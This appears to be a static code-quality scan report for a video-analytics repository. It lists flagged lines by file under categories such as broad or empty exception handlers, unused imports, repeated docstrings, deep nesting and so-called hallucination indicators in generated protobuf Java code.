MEDIUM	deploy/docker/services/alert/scripts/env-substitute.py	59	print("Error: Missing '--' separator between entrypoint args and command", file=sys.stderr)	CODE
MEDIUM	deploy/docker/services/alert/scripts/env-substitute.py	104	print("Error: No command provided after '--'", file=sys.stderr)	CODE
MEDIUM⚡	deploy/docker/services/alert/scripts/env-substitute.py	143	print(f"Error: Source config file not found: {source}", file=sys.stderr)	CODE
LOW⚡	deploy/docker/services/alert/scripts/env-substitute.py	145	except Exception as e:	CODE
MEDIUM⚡	deploy/docker/services/alert/scripts/env-substitute.py	146	print(f"Error reading source config: {e}", file=sys.stderr)	CODE
LOW⚡	deploy/docker/services/alert/scripts/env-substitute.py	156	except Exception as e:	CODE
MEDIUM⚡	deploy/docker/services/alert/scripts/env-substitute.py	157	print(f"Error writing processed config: {e}", file=sys.stderr)	CODE
MEDIUM	…ces/infra/charts/kafka/templates/kafka-topics-job.yaml	85	print(f'Error creating topic {name}: {result.stderr}', file=sys.stderr)	CODE
LOW	libs/vss/core/src/sitecustomize.py	70	except Exception:	CODE
LOW	libs/vss/core/src/sitecustomize.py	82	except Exception:	CODE
LOW	libs/vss/core/src/vss_core/memory/service.py	328	except Exception as error:	CODE
LOW	libs/vss/core/src/vss_core/memory/service.py	362	except Exception as error:	CODE
LOW	libs/vss/core/src/vss_core/memory/service.py	384	except Exception as error:	CODE
LOW	libs/vss/core/src/vss_core/memory/service.py	401	except Exception as error:	CODE
LOW	libs/vss/core/src/vss_core/memory/service.py	426	except Exception as error:	CODE
LOW	libs/vss/core/src/vss_core/memory/service.py	489	except Exception as error:	CODE
LOW	libs/vss/core/src/vss_core/memory/service.py	511	except Exception as error:	CODE
LOW	libs/vss/core/src/vss_core/memory/notes.py	250	except Exception:	CODE
LOW	libs/vss/core/src/vss_core/memory/backfill.py	108	except Exception as error:	CODE
LOW	…c/vss_core/memory/backends/elasticsearch_embeddings.py	222	except Exception as error:	CODE
LOW	…c/vss_core/memory/backends/elasticsearch_embeddings.py	261	except Exception as error:	CODE
LOW	…c/vss_core/memory/backends/elasticsearch_embeddings.py	271	except Exception as error:	CODE
LOW	…c/vss_core/memory/backends/elasticsearch_embeddings.py	294	except Exception as error:	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	358	except Exception as e:	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	408	except Exception as e:	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	515	except Exception as e:	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	731	except Exception as e:	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	1124	except Exception as e:	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	1180	except Exception as e:	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	1255	except Exception as e:	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	1268	except Exception:	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	1326	except Exception as exc:	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	1487	except Exception as exc:	CODE
LOW	…bs/vss/core/src/vss_core/introspection/orchestrator.py	112	except Exception as error:	CODE
LOW	…bs/vss/core/src/vss_core/introspection/orchestrator.py	125	except Exception as error:	CODE
LOW	…bs/vss/core/src/vss_core/introspection/orchestrator.py	175	except Exception as error:	CODE
LOW	…bs/vss/core/src/vss_core/introspection/orchestrator.py	208	except Exception as error:	CODE
LOW	…s/core/src/vss_core/knowledge/adapters/arango_graph.py	162	except Exception as e:	CODE
LOW	…ss/core/src/vss_core/knowledge/adapters/llama_index.py	151	except Exception as e:	CODE
LOW	…ss/core/src/vss_core/knowledge/adapters/llama_index.py	173	except Exception as e:	CODE
MEDIUM	…ss/core/src/vss_core/knowledge/adapters/llama_index.py	170	def health_check(self) -> bool:	CODE
LOW	…s/vss/core/src/vss_core/knowledge/adapters/frag_api.py	163	except Exception as e:	CODE
LOW	…vss/core/src/vss_core/knowledge/adapters/es_caption.py	177	except Exception as e:	CODE
LOW	…/vss/core/src/vss_core/knowledge/adapters/langchain.py	144	except Exception as e:	CODE
LOW	…/vss/core/src/vss_core/knowledge/adapters/langchain.py	166	except Exception as e:	CODE
MEDIUM	…/vss/core/src/vss_core/knowledge/adapters/langchain.py	163	def health_check(self) -> bool:	CODE
LOW	…s/vss/core/src/vss_core/knowledge/adapters/frag_lib.py	144	except Exception as e:	CODE
2260 more matches not shown…

Empty Error Handlers299 hits · 1485 pts

Severity	File	Line	Snippet	Context
HIGH	tools/message-broker-consumers/base_consumer.py	368	except KeyboardInterrupt:	CODE
HIGH	…/docker/scripts/nemoclaw/dashboard-forward-watchdog.py	220	except KeyboardInterrupt:	CODE
HIGH	deploy/docker/scripts/nemoclaw/dashboard-relay.py	87	except (ConnectionError, OSError):	CODE
HIGH	deploy/docker/scripts/nemoclaw/dashboard-relay.py	125	except KeyboardInterrupt:	CODE
HIGH	…y/helm/benchmark-profiles/vllm/files/request_policy.py	98	except (ValueError, UnicodeDecodeError):	CODE
HIGH	…y/helm/benchmark-profiles/vllm/files/request_policy.py	69	except ValueError:	CODE
HIGH	libs/vss/cli/src/vss_cli/memory.py	343	except ImportError: # pragma: no cover - present wherever the ES store is	CODE
HIGH	libs/vss/cli/src/vss_cli/vlm/runner.py	578	except Exception:	CODE
HIGH	…data-utils/spatialai_data_utils/core/cameras/origin.py	446	except (ValueError, TypeError):	CODE
HIGH	…data-utils/spatialai_data_utils/core/cameras/origin.py	423	except (ValueError, TypeError):	CODE
HIGH	…data-utils/spatialai_data_utils/core/cameras/origin.py	428	except (ValueError, TypeError):	CODE
HIGH	…thub/vss-playbook-compliance/skill_compliance_check.py	852	except OSError:	CODE
HIGH	.github/scripts/trigger_downstream_pipeline.py	128	except (UnicodeDecodeError, json.JSONDecodeError):	CODE
HIGH	.github/scripts/poll-downstream-pipeline.py	525	except (AttributeError, OSError):	CODE
HIGH	.github/scripts/release_notes/github_api.py	51	except Exception:	CODE
HIGH	.github/skill-eval/run_leg.py	488	except json.JSONDecodeError:	CODE
HIGH	.github/skill-eval/run_leg.py	501	except json.JSONDecodeError:	CODE
HIGH	.github/skill-eval/run_leg.py	1091	except subprocess.TimeoutExpired:	CODE
HIGH	.github/skill-eval/run_leg.py	1388	except OSError:	CODE
HIGH	.github/skill-eval/run_leg.py	508	except json.JSONDecodeError:	CODE
HIGH	.github/skill-eval/run_leg.py	1071	except ProcessLookupError:	CODE
HIGH	.github/skill-eval/run_leg.py	1533	except Exception: # noqa: BLE001	CODE
HIGH	.github/skill-eval/redact_secrets.py	109	except (OSError, subprocess.TimeoutExpired):	CODE
HIGH	.github/skill-eval/tests/test_leg_report.py	138	except leg_report.SpecError:	CODE
HIGH	.github/skill-eval/tests/test_run_leg.py	953	except ProcessLookupError:	CODE
HIGH	.github/skill-eval/tests/test_local_nim_protocols.py	158	except httpx.ConnectError:	CODE
HIGH	.github/skill-eval/nemoclaw/headless_runner.py	126	except Exception:	CODE
HIGH	.github/skill-eval/nemoclaw/headless_runner.py	645	except Exception: # noqa: BLE001	CODE
HIGH	.github/skill-eval/nemoclaw/headless_runner.py	689	except OSError:	CODE
HIGH	.github/skill-eval/envs/brev_env.py	2374	except json.JSONDecodeError:	CODE
HIGH	.github/skill-eval/envs/brev_env.py	2397	except json.JSONDecodeError:	CODE
HIGH	.github/skill-eval/envs/brev_env.py	2391	except json.JSONDecodeError:	CODE
HIGH	.github/skill-eval/envs/brev_env.py	2406	except json.JSONDecodeError:	CODE
HIGH	.github/skill-eval/envs/brev_env.py	1905	except ProcessLookupError:	CODE
HIGH	…tions/vss-manage-alerts/scripts/alert-notify/server.py	124	except Exception:	CODE
HIGH	…s-benchmark-video-summarization/scripts/gpu_monitor.py	46	except Exception:	CODE
HIGH	…g/vss-evaluate-caption-accuracy/scripts/multi_judge.py	915	except Exception:	CODE
HIGH	…ss-evaluate-caption-accuracy/scripts/run_captioning.py	425	except (subprocess.SubprocessError, FileNotFoundError):	CODE
HIGH	…ss-evaluate-caption-accuracy/scripts/run_captioning.py	585	except Exception:	CODE
HIGH	…ss-evaluate-caption-accuracy/scripts/run_captioning.py	528	except Exception:	CODE
HIGH	…vices/rtvi/rt-embed/tests/redis/test_redis_consumer.py	192	except Exception:	CODE
HIGH	…vices/rtvi/rt-embed/tests/redis/test_redis_consumer.py	188	except Exception:	CODE
HIGH	…ices/rtvi/rt-embed/tests/redis/test_redis_publisher.py	187	except Exception:	CODE
HIGH	…rtvi/rt-embed/tests/rtvi_embed/run_rtvi_embed_tests.py	71	except OSError:	CODE
HIGH	…-embed/tests/rtvi_embed/test_rtvi_embed_integration.py	680	except Exception:	CODE
HIGH	services/rtvi/rt-embed/src/server/rtvi_embed_server.py	2104	except Exception:	CODE
HIGH	services/rtvi/rt-embed/src/server/rtvi_embed_server.py	2229	except ServiceException:	CODE
HIGH	…rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py	3644	except FileNotFoundError:	CODE
HIGH	…rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py	1086	except Exception:	CODE
HIGH	…rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py	1141	except Exception:	CODE
HIGH	services/rtvi/rt-embed/src/utils/asset_manager.py	1586	except FileNotFoundError:	CODE
HIGH	services/rtvi/rt-embed/src/utils/asset_manager.py	1856	except OSError:	CODE
HIGH	services/rtvi/rt-embed/src/utils/asset_manager.py	1235	except Exception:	CODE
HIGH	services/rtvi/rt-embed/src/utils/file_splitter.py	173	except (TypeError, ValueError):	CODE
HIGH	services/rtvi/rt-embed/src/utils/request_profiler.py	31	except Exception:	CODE
HIGH	…-embed/src/models/openai_compat/openai_compat_model.py	1242	except ImportError:	CODE
HIGH	services/rtvi/rt-embed/src/api_models/embeddings.py	127	except (ValueError, ipaddress.AddressValueError):	CODE
HIGH	services/rtvi/rt-embed/src/api_models/common.py	168	except ValueError:	CODE
HIGH	…m/patches/evs_vllm_public_files/v1/engine/async_llm.py	187	except RuntimeError:	CODE
HIGH	…distributed/ec_transfer/ec_connector/nixl_connector.py	944	except Exception:	CODE
239 more matches not shown…

Unused Imports1561 hits · 1401 pts

Severity	File	Line	Context
LOW	tools/message-broker-consumers/schema_pb2.py	25	CODE
LOW	tools/message-broker-consumers/ext_pb2.py	25	CODE
LOW	tools/message-broker-consumers/ext_pb2.py	26	CODE
LOW	tools/sdg-postprocessing/semantic_labeling/box_check.py	16	CODE
LOW	…cessing/data_conversion/convert_npy_to_png_depthmap.py	22	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	19	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	24	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	26	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	27	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	28	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	29	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	31	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	33	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	37	CODE
LOW	…cessing/data_sanity_check/dataset_sanity_check_json.py	17	CODE
LOW	…cessing/data_sanity_check/dataset_sanity_check_json.py	19	CODE
LOW	…ocessing/data_sanity_check/dataset_sanity_check_png.py	19	CODE
LOW	…ta_sanity_check/dataset_sanity_check_bbox_direction.py	25	CODE
LOW	…ocessing/data_sanity_check/dataset_sanity_check_rgb.py	19	CODE
LOW	…_sanity_check/dataset_sanity_check_instance_id_json.py	17	CODE
LOW	…_sanity_check/dataset_sanity_check_instance_id_json.py	19	CODE
LOW	…_sanity_check/dataset_sanity_check_instance_id_json.py	21	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	17	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	19	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	20	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	27	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	28	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	29	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	30	CODE
LOW	…a_sanity_check/dataset_sanity_check_instance_id_png.py	19	CODE
LOW	…ocessing/data_sanity_check/dataset_sanity_check_npy.py	17	CODE
LOW	deploy/docker/scripts/run_setup_notebook.py	11	CODE
LOW	deploy/docker/scripts/nemoclaw/inference-api-proxy.py	36	CODE
LOW	…/docker/scripts/nemoclaw/dashboard-forward-watchdog.py	38	CODE
LOW	deploy/docker/scripts/nemoclaw/dashboard-relay.py	37	CODE
LOW	…er/services/alert/scripts/tests/test_env_substitute.py	18	CODE
LOW	deploy/tests/test_alerts_video_understanding_prompt.py	17	CODE
LOW	deploy/tests/test_agent_edge_timeout.py	23	CODE
LOW	deploy/tests/test_helm_lvs_nvstreamer_ingress.py	5	CODE
LOW	deploy/tests/test_helm_vllm.py	5	CODE
LOW	deploy/tests/test_overlay_endpoint_configs.py	9	CODE
LOW	deploy/tests/test_helm_rtvi_vlm_gpu_selection.py	5	CODE
LOW	deploy/tests/test_helm_nemotron_parity.py	5	CODE
LOW	deploy/tests/test_helm_vios_max_devices.py	11	CODE
LOW	deploy/tests/test_helm_ingress_annotations.py	13	CODE
LOW	deploy/tests/test_helm_lvs_rtvi_registration.py	5	CODE
LOW	deploy/tests/test_helm_alerts_agent_planning.py	5	CODE
LOW	deploy/tests/test_agent_openai_key.py	5	CODE
LOW	deploy/tests/test_helm_plugin_selects_devices.py	15	CODE
LOW	deploy/tests/test_warehouse_llm_timeout.py	12	CODE
LOW	deploy/tests/test_helm_release_name_prefix.py	16	CODE
LOW	deploy/tests/test_helm_rtvi_vlm_frame_cap.py	5	CODE
LOW	deploy/tests/test_helm_vst_nodeport_urls.py	4	CODE
LOW	deploy/tests/test_search_prompt_policy.py	5	CODE
LOW	deploy/tests/test_helm_ingress_version_route.py	15	CODE
LOW	libs/vss/core/tests/unit_test/memory/test_retrieval.py	5	CODE
LOW	libs/vss/core/tests/unit_test/memory/group_adapters.py	11	CODE
LOW	…/vss/core/tests/unit_test/memory/test_elasticsearch.py	5	CODE
LOW	libs/vss/core/tests/unit_test/memory/test_embeddings.py	5	CODE
LOW	libs/vss/core/tests/unit_test/memory/test_memory.py	5	CODE
1501 more matches not shown…

Cross-File Repetition202 hits · 1010 pts

Severity	File	Line	Snippet	Context
HIGH	…ocessing/data_sanity_check/dataset_sanity_check_png.py	0	perform a dataset sanity check on instance id segmentation png files. this function verifies the integrity of instance i	STRING
HIGH	…ocessing/data_sanity_check/dataset_sanity_check_rgb.py	0	perform a dataset sanity check on instance id segmentation png files. this function verifies the integrity of instance i	STRING
HIGH	…_sanity_check/dataset_sanity_check_instance_id_json.py	0	perform a dataset sanity check on instance id segmentation png files. this function verifies the integrity of instance i	STRING
HIGH	…a_sanity_check/dataset_sanity_check_instance_id_png.py	0	perform a dataset sanity check on instance id segmentation png files. this function verifies the integrity of instance i	STRING
HIGH	…ocessing/data_sanity_check/dataset_sanity_check_png.py	0	command-line interface for the instance id segmentation png dataset sanity check tool. usage: python dataset_sanity_chec	STRING
HIGH	…_sanity_check/dataset_sanity_check_instance_id_json.py	0	command-line interface for the instance id segmentation png dataset sanity check tool. usage: python dataset_sanity_chec	STRING
HIGH	…a_sanity_check/dataset_sanity_check_instance_id_png.py	0	command-line interface for the instance id segmentation png dataset sanity check tool. usage: python dataset_sanity_chec	STRING
HIGH	libs/vss/core/tests/unit_test/conftest.py	0	# test report ## summary \| field \| value \| \|-------\|-------\| \| location \| san jose \| \| time \| 10:00 am \| ## details ###	STRING
HIGH	libs/vss/cli/tests/unit_test/conftest.py	0	# test report ## summary \| field \| value \| \|-------\|-------\| \| location \| san jose \| \| time \| 10:00 am \| ## details ###	STRING
HIGH	…/agent/packages/vss_agents/tests/unit_test/conftest.py	0	# test report ## summary \| field \| value \| \|-------\|-------\| \| location \| san jose \| \| time \| 10:00 am \| ## details ###	STRING
HIGH	…atialai_data_utils/eval/tracking/hota/metrics/clear.py	0	combines metrics across all sequences :param dict[str, float] all_res: dictionary containing the metrics for each sequen	STRING
HIGH	…patialai_data_utils/eval/tracking/hota/metrics/hota.py	0	combines metrics across all sequences :param dict[str, float] all_res: dictionary containing the metrics for each sequen	STRING
HIGH	…atialai_data_utils/eval/tracking/hota/metrics/count.py	0	combines metrics across all sequences :param dict[str, float] all_res: dictionary containing the metrics for each sequen	STRING
HIGH	…alai_data_utils/eval/tracking/hota/metrics/identity.py	0	combines metrics across all sequences :param dict[str, float] all_res: dictionary containing the metrics for each sequen	STRING
HIGH	…atialai_data_utils/eval/tracking/hota/metrics/clear.py	0	combines metrics across all classes by averaging over the detection values :param dict[str, float] all_res: dictionary c	STRING
HIGH	…patialai_data_utils/eval/tracking/hota/metrics/hota.py	0	combines metrics across all classes by averaging over the detection values :param dict[str, float] all_res: dictionary c	STRING
HIGH	…alai_data_utils/eval/tracking/hota/metrics/identity.py	0	combines metrics across all classes by averaging over the detection values :param dict[str, float] all_res: dictionary c	STRING
HIGH	…atialai_data_utils/eval/tracking/hota/metrics/count.py	0	combines metrics across all classes by averaging over the detection values :param dict[str, float] all_res: dictionary c	STRING
HIGH	…atialai_data_utils/eval/tracking/hota/metrics/clear.py	0	combines metrics across all classes by averaging over the class values. if 'ignore_empty_classes' is true, then it only	STRING
HIGH	…patialai_data_utils/eval/tracking/hota/metrics/hota.py	0	combines metrics across all classes by averaging over the class values. if 'ignore_empty_classes' is true, then it only	STRING
HIGH	…alai_data_utils/eval/tracking/hota/metrics/identity.py	0	combines metrics across all classes by averaging over the class values. if 'ignore_empty_classes' is true, then it only	STRING
HIGH	…atialai_data_utils/eval/tracking/hota/metrics/clear.py	0	calculate sub-metric ('field') values which only depend on other sub-metric values. this function is used both for both	STRING
HIGH	…patialai_data_utils/eval/tracking/hota/metrics/hota.py	0	calculate sub-metric ('field') values which only depend on other sub-metric values. this function is used both for both	STRING
HIGH	…alai_data_utils/eval/tracking/hota/metrics/identity.py	0	calculate sub-metric ('field') values which only depend on other sub-metric values. this function is used both for both	STRING
HIGH	…al/tracking/hota/datasets/mot_challenge_3d_location.py	0	dataset class for mot challenge 3d tracking :param dict config: configuration for the app :: default_dataset = trackeeva	STRING
HIGH	…l/tracking/hota/datasets/mtmc_challenge_3d_location.py	0	dataset class for mot challenge 3d tracking :param dict config: configuration for the app :: default_dataset = trackeeva	STRING
HIGH	…/eval/tracking/hota/datasets/mtmc_challenge_3d_bbox.py	0	dataset class for mot challenge 3d tracking :param dict config: configuration for the app :: default_dataset = trackeeva	STRING
HIGH	…al/tracking/hota/datasets/mot_challenge_3d_location.py	0	initialise dataset, checking that all required files are present	STRING
HIGH	…ls/eval/tracking/hota/datasets/mot_challenge_2d_box.py	0	initialise dataset, checking that all required files are present	STRING
HIGH	…l/tracking/hota/datasets/mtmc_challenge_3d_location.py	0	initialise dataset, checking that all required files are present	STRING
HIGH	…/eval/tracking/hota/datasets/mtmc_challenge_3d_bbox.py	0	initialise dataset, checking that all required files are present	STRING
HIGH	…al/tracking/hota/datasets/mot_challenge_3d_location.py	0	gets the display name of the tracker :param str tracker: class of tracker :return: str :: dataset.get_display_name(track	STRING
HIGH	…ls/eval/tracking/hota/datasets/mot_challenge_2d_box.py	0	gets the display name of the tracker :param str tracker: class of tracker :return: str :: dataset.get_display_name(track	STRING
HIGH	…l/tracking/hota/datasets/mtmc_challenge_3d_location.py	0	gets the display name of the tracker :param str tracker: class of tracker :return: str :: dataset.get_display_name(track	STRING
HIGH	…/eval/tracking/hota/datasets/mtmc_challenge_3d_bbox.py	0	gets the display name of the tracker :param str tracker: class of tracker :return: str :: dataset.get_display_name(track	STRING
HIGH	…al/tracking/hota/datasets/mot_challenge_3d_location.py	0	load a file (gt or tracker) in the mot challenge 2d box format if is_gt, this returns a dict which contains the fields:	STRING
HIGH	…l/tracking/hota/datasets/mtmc_challenge_3d_location.py	0	load a file (gt or tracker) in the mot challenge 2d box format if is_gt, this returns a dict which contains the fields:	STRING
HIGH	…/eval/tracking/hota/datasets/mtmc_challenge_3d_bbox.py	0	load a file (gt or tracker) in the mot challenge 2d box format if is_gt, this returns a dict which contains the fields:	STRING
HIGH	…ls/eval/tracking/hota/datasets/mot_challenge_2d_box.py	0	load a file (gt or tracker) in the mot challenge 2d box format if is_gt, this returns a dict which contains the fields:	STRING
HIGH	…al/tracking/hota/datasets/mot_challenge_3d_location.py	0	preprocess data for a single sequence for a single class ready for evaluation. inputs: - raw_data is a dict containing t	STRING
HIGH	…ls/eval/tracking/hota/datasets/mot_challenge_2d_box.py	0	preprocess data for a single sequence for a single class ready for evaluation. inputs: - raw_data is a dict containing t	STRING
HIGH	…l/tracking/hota/datasets/mtmc_challenge_3d_location.py	0	preprocess data for a single sequence for a single class ready for evaluation. inputs: - raw_data is a dict containing t	STRING
HIGH	…/eval/tracking/hota/datasets/mtmc_challenge_3d_bbox.py	0	preprocess data for a single sequence for a single class ready for evaluation. inputs: - raw_data is a dict containing t	STRING
HIGH	…-data-utils/tests/core/cameras/test_camera_grouping.py	0	create a temporary directory for test files under spatialai_data_utils/tmp/.	STRING
HIGH	…ta-utils/tests/core/cameras/test_origin_calculation.py	0	create a temporary directory for test files under spatialai_data_utils/tmp/.	STRING
HIGH	…ata-utils/tests/core/cameras/test_camera_clustering.py	0	create a temporary directory for test files under spatialai_data_utils/tmp/.	STRING
HIGH	.github/skill-eval/adapters/vss-ask-video/generate.py	0	shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew	STRING
HIGH	…ub/skill-eval/adapters/vss-query-analytics/generate.py	0	shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew	STRING
HIGH	…al/adapters/vss-generate-video-calibration/generate.py	0	shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew	STRING
HIGH	…-eval/adapters/vss-manage-video-io-storage/generate.py	0	shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew	STRING
HIGH	…ll-eval/adapters/vss-generate-video-report/generate.py	0	shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew	STRING
HIGH	…l-eval/adapters/vss-deploy-video-embedding/generate.py	0	shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew	STRING
HIGH	.github/skill-eval/adapters/vss-ask-video/generate.py	0	emit one harbor task directory per entry in spec['expects'] — i.e. step-<k>/ subdirs under `base/<platform>/` per agents	STRING
HIGH	…ub/skill-eval/adapters/vss-query-analytics/generate.py	0	emit one harbor task directory per entry in spec['expects'] — i.e. step-<k>/ subdirs under `base/<platform>/` per agents	STRING
HIGH	…ll-eval/adapters/vss-generate-video-report/generate.py	0	emit one harbor task directory per entry in spec['expects'] — i.e. step-<k>/ subdirs under `base/<platform>/` per agents	STRING
HIGH	…al/adapters/vss-generate-video-calibration/generate.py	0	emit one harbor task directory per entry in spec['expects'] — i.e. step-<k>/ subdirs under `base/<platform>/` per agents	STRING
HIGH	…-eval/adapters/vss-manage-video-io-storage/generate.py	0	emit one harbor task directory per entry in spec['expects'] — i.e. step-<k>/ subdirs under `base/<platform>/` per agents	STRING
HIGH	…thub/skill-eval/adapters/vss-manage-alerts/generate.py	0	resolve a peer skill by its leaf directory name. a skill lives at either skills/<name>/ or skills/<category>/<name>/, an	STRING
HIGH	…/adapters/vss-deploy-detection-tracking-3d/generate.py	0	resolve a peer skill by its leaf directory name. a skill lives at either skills/<name>/ or skills/<category>/<name>/, an	STRING
HIGH	…hub/skill-eval/adapters/vss-search-archive/generate.py	0	resolve a peer skill by its leaf directory name. a skill lives at either skills/<name>/ or skills/<category>/<name>/, an	STRING
142 more matches not shown…

Deep Nesting1070 hits · 816 pts

Severity	File	Line	Context
LOW	tools/message-broker-consumers/base_consumer.py	118	CODE
LOW	tools/message-broker-consumers/base_consumer.py	153	CODE
LOW	tools/message-broker-consumers/base_consumer.py	276	CODE
LOW	…ols/sdg-postprocessing/utils/export_xform_semantics.py	100	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	84	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	279	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	348	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	543	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	600	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	757	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	999	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	1228	CODE
LOW	…postprocessing/data_conversion/convert_ground_truth.py	1361	CODE
LOW	…ta_conversion/convert_single_camera_rgb_depth_to_h5.py	39	CODE
LOW	…cessing/data_sanity_check/dataset_sanity_check_json.py	24	CODE
LOW	…cessing/data_sanity_check/dataset_sanity_check_json.py	139	CODE
LOW	…ing/data_sanity_check/dataset_sanity_check_velocity.py	66	CODE
LOW	…ta_sanity_check/dataset_sanity_check_bbox_direction.py	76	CODE
LOW	…ta_sanity_check/dataset_sanity_check_bbox_direction.py	438	CODE
LOW	…ta_sanity_check/dataset_sanity_check_bbox_direction.py	681	CODE
LOW	…_sanity_check/dataset_sanity_check_instance_id_json.py	23	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	451	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	512	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	556	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	593	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	639	CODE
LOW	…/data_sanity_check/dataset_sanity_check_calibration.py	687	CODE
LOW	…ocessing/data_sanity_check/dataset_sanity_check_npy.py	23	CODE
LOW	deploy/docker/scripts/run_setup_notebook.py	192	CODE
LOW	deploy/docker/scripts/tests/test_run_setup_notebook.py	381	CODE
LOW	…/docker/scripts/nemoclaw/dashboard-forward-watchdog.py	180	CODE
LOW	deploy/tests/test_helm_llm_route.py	103	CODE
LOW	deploy/tests/test_helm_llm_route.py	216	CODE
LOW	deploy/tests/test_agent_openai_key.py	65	CODE
LOW	deploy/tests/test_helm_release_name_prefix.py	111	CODE
LOW	deploy/tests/test_helm_vst_nodeport_urls.py	17	CODE
LOW	deploy/helm/scripts/verify-ingress-routes.py	179	CODE
LOW	deploy/helm/scripts/verify-ingress-routes.py	279	CODE
LOW	deploy/helm/scripts/verify-ingress-routes.py	368	CODE
LOW	libs/vss/core/src/sitecustomize.py	51	CODE
LOW	libs/vss/core/src/vss_core/memory/notes.py	196	CODE
LOW	libs/vss/core/src/vss_core/memory/backfill.py	99	CODE
LOW	…vss/core/src/vss_core/memory/backends/elasticsearch.py	144	CODE
LOW	…c/vss_core/memory/backends/elasticsearch_embeddings.py	208	CODE
LOW	…c/vss_core/memory/backends/elasticsearch_embeddings.py	409	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	182	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	318	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	365	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	464	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	905	CODE
LOW	libs/vss/core/src/vss_core/introspection/judge.py	215	CODE
LOW	libs/vss/core/src/vss_core/_foundation/time_measure.py	118	CODE
LOW	libs/vss/core/src/vss_core/vlm/openai.py	274	CODE
LOW	libs/vss/core/src/vss_core/search_core/critic.py	488	CODE
LOW	…s/vss/core/src/vss_core/search_core/clients/elastic.py	156	CODE
LOW	…rc/vss_core/search_core/_internal/embed_translation.py	39	CODE
LOW	…/vss_core/search_core/primitives/_attribute_helpers.py	448	CODE
LOW	…/vss_core/search_core/primitives/_attribute_helpers.py	699	CODE
LOW	…/vss_core/search_core/primitives/_attribute_helpers.py	794	CODE
LOW	…/vss_core/search_core/primitives/_attribute_helpers.py	1212	CODE
1010 more matches not shown…

Hallucination Indicators61 hits · 760 pts

Severity	File	Line	Snippet	Context
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	427	// Construct using nv.schema.Ext.GeoLocation.Point.newBuilder()	COMMENT
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	453	return nv.schema.Ext.GeoLocation.Point.getDefaultInstance();	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	492	if (other == nv.schema.Ext.GeoLocation.Point.getDefaultInstance()) return this;	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	637	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	1154	nv.schema.Ext.GeoLocation.Point.parser(),	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	1444	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	1541	nv.schema.Ext.GeoLocation.Point.getDefaultInstance());	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	1554	index, nv.schema.Ext.GeoLocation.Point.getDefaultInstance());	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	5632	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	5872	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
